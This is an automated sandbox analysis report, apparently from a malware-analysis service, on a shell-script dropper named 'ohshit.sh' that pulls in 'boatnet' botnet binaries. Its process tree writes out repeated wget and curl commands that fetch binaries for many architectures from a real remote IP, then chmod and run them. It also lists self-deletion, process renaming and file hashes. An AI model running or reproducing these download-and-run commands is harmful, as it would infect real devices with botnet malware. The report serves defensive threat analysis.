Analysis

  • max time kernel
    145s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260127-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    31/03/2026, 12:30

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample260331-pps39saw5j
  • SHA256 ac12224d300baa85a2ccb8becb3f9cc01c6165ea77a0f41cc17e14f6d7ea4185
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 15 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 9 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:711
    • /usr/bin/wget
      wget http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Writes file to tmp directory
      PID:738
    • /bin/cat
      cat boatnet.aarch64
      2⤵
        PID:740
      • /bin/chmod
        chmod +x boatnet.aarch64 ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/WTF
        ./WTF
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:744
        • /usr/bin/curl
          curl -O http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:745
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:764
          • /bin/chmod
            chmod +x boatnet.aarch64 boatnet.arc ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/WTF
            ./WTF
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Writes file to tmp directory
              PID:770
            • /usr/bin/curl
              curl -O http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:787
            • /bin/cat
              cat boatnet.armv4l
              2⤵
                PID:797
              • /bin/chmod
                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
                2⤵
                • File and Directory Permissions Modification
                PID:798
              • /tmp/WTF
                ./WTF
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://176.65.139.59/hiddenbin/boatnet.armv5l
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://176.65.139.59/hiddenbin/boatnet.armv5l
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:802
                • /bin/cat
                  cat boatnet.armv5l
                  2⤵
                    PID:808
                  • /bin/chmod
                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:810
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:811
                    • /usr/bin/wget
                      wget http://176.65.139.59/hiddenbin/boatnet.armv6l
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://176.65.139.59/hiddenbin/boatnet.armv6l
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:832
                    • /bin/cat
                      cat boatnet.armv6l
                      2⤵
                        PID:839
                      • /bin/chmod
                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:840
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:841
                        • /usr/bin/wget
                          wget http://176.65.139.59/hiddenbin/boatnet.armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:843
                        • /usr/bin/curl
                          curl -O http://176.65.139.59/hiddenbin/boatnet.armv7l
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:844
                        • /bin/cat
                          cat boatnet.armv7l
                          2⤵
                            PID:845
                          • /bin/chmod
                            chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:846
                          • /tmp/WTF
                            ./WTF
                            2⤵
                              PID:847
                            • /usr/bin/wget
                              wget http://176.65.139.59/hiddenbin/boatnet.i486
                              2⤵
                              • Writes file to tmp directory
                              PID:849
                            • /usr/bin/curl
                              curl -O http://176.65.139.59/hiddenbin/boatnet.i486
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:850
                            • /bin/cat
                              cat boatnet.i486
                              2⤵
                                PID:851
                              • /bin/chmod
                                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 ohshit.sh systemd-private-c064f98635c54ea2b6cd7b98d54a27ff-systemd-timedated.service-Mez0zJ WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:852
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:853
                                • /usr/bin/wget
                                  wget http://176.65.139.59/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:855
                                • /usr/bin/curl
                                  curl -O http://176.65.139.59/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:856
                                • /bin/cat
                                  cat boatnet.m68k
                                  2⤵
                                    PID:860
                                  • /bin/chmod
                                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:861
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:862
                                    • /usr/bin/wget
                                      wget http://176.65.139.59/hiddenbin/boatnet.mips
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:864
                                    • /usr/bin/curl
                                      curl -O http://176.65.139.59/hiddenbin/boatnet.mips
                                      2⤵
                                      • Reads runtime system information
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:865
                                    • /bin/cat
                                      cat boatnet.mips
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:866
                                    • /bin/chmod
                                      chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:867
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:868
                                      • /usr/bin/wget
                                        wget http://176.65.139.59/hiddenbin/boatnet.mipsel
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:870
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.59/hiddenbin/boatnet.mipsel
                                        2⤵
                                        • Reads runtime system information
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:871
                                      • /bin/cat
                                        cat boatnet.mipsel
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:872
                                      • /bin/chmod
                                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:873
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Deletes itself
                                        • Changes its process name
                                        • Reads runtime system information
                                        PID:874
                                      • /usr/bin/wget
                                        wget http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:876
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:878
                                      • /bin/cat
                                        cat boatnet.mipsrouter
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:879
                                      • /bin/chmod
                                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:880
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                          PID:881
                                        • /usr/bin/wget
                                          wget http://176.65.139.59/hiddenbin/boatnet.powerpc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:883
                                        • /usr/bin/curl
                                          curl -O http://176.65.139.59/hiddenbin/boatnet.powerpc
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:884
                                        • /bin/cat
                                          cat boatnet.powerpc
                                          2⤵
                                            PID:885
                                          • /bin/chmod
                                            chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc ohshit.sh WTF
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:886
                                          • /tmp/WTF
                                            ./WTF
                                            2⤵
                                              PID:887
                                            • /usr/bin/wget
                                              wget http://176.65.139.59/hiddenbin/boatnet.sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:889
                                            • /usr/bin/curl
                                              curl -O http://176.65.139.59/hiddenbin/boatnet.sh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:890
                                            • /bin/cat
                                              cat boatnet.sh4
                                              2⤵
                                                PID:891
                                              • /bin/chmod
                                                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 ohshit.sh WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:892
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                  PID:893
                                                • /usr/bin/wget
                                                  wget http://176.65.139.59/hiddenbin/boatnet.sparc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:895
                                                • /usr/bin/curl
                                                  curl -O http://176.65.139.59/hiddenbin/boatnet.sparc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:896
                                                • /bin/cat
                                                  cat boatnet.sparc
                                                  2⤵
                                                    PID:897
                                                  • /bin/chmod
                                                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc ohshit.sh WTF
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:898
                                                  • /tmp/WTF
                                                    ./WTF
                                                    2⤵
                                                      PID:899
                                                    • /usr/bin/wget
                                                      wget http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:901
                                                    • /usr/bin/curl
                                                      curl -O http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:902
                                                    • /bin/cat
                                                      cat boatnet.x86_64
                                                      2⤵
                                                        PID:903
                                                      • /bin/chmod
                                                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc boatnet.x86_64 ohshit.sh WTF
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:904
                                                      • /tmp/WTF
                                                        ./WTF
                                                        2⤵
                                                          PID:905

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            WTF

                                                            • Path /tmp/WTF
                                                            • Size 121KB
                                                            • SHA256 cecaed0ffe519c83d77655e1c2f3409fa795fc97917fe9a258f2473b1f84788d
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            WTF

                                                            • Path /tmp/WTF
                                                            • Size 114KB
                                                            • SHA256 128396e00e8d7f3b3ae0ea8764c8d05448861a825e872d729013768537c0fdde
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            WTF

                                                            • Path /tmp/WTF
                                                            • Size 110KB
                                                            • SHA256 3f064c305e1210001e661ebc6154f3f4f71a1de02a495a70bb266cdb50997377
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            WTF

                                                            • Path /tmp/WTF
                                                            • Size 197KB
                                                            • SHA256 a5c68825651a760d78a128fa1baa239fe6d4fa5e6e8636c7775c98dc43ba64b3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            boatnet.aarch64

                                                            • Path /tmp/boatnet.aarch64
                                                            • Size 153KB
                                                            • SHA256 f20991717b62d88a44b917df63021187bdee72b4c92a7773eb66531f86c3a43f
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH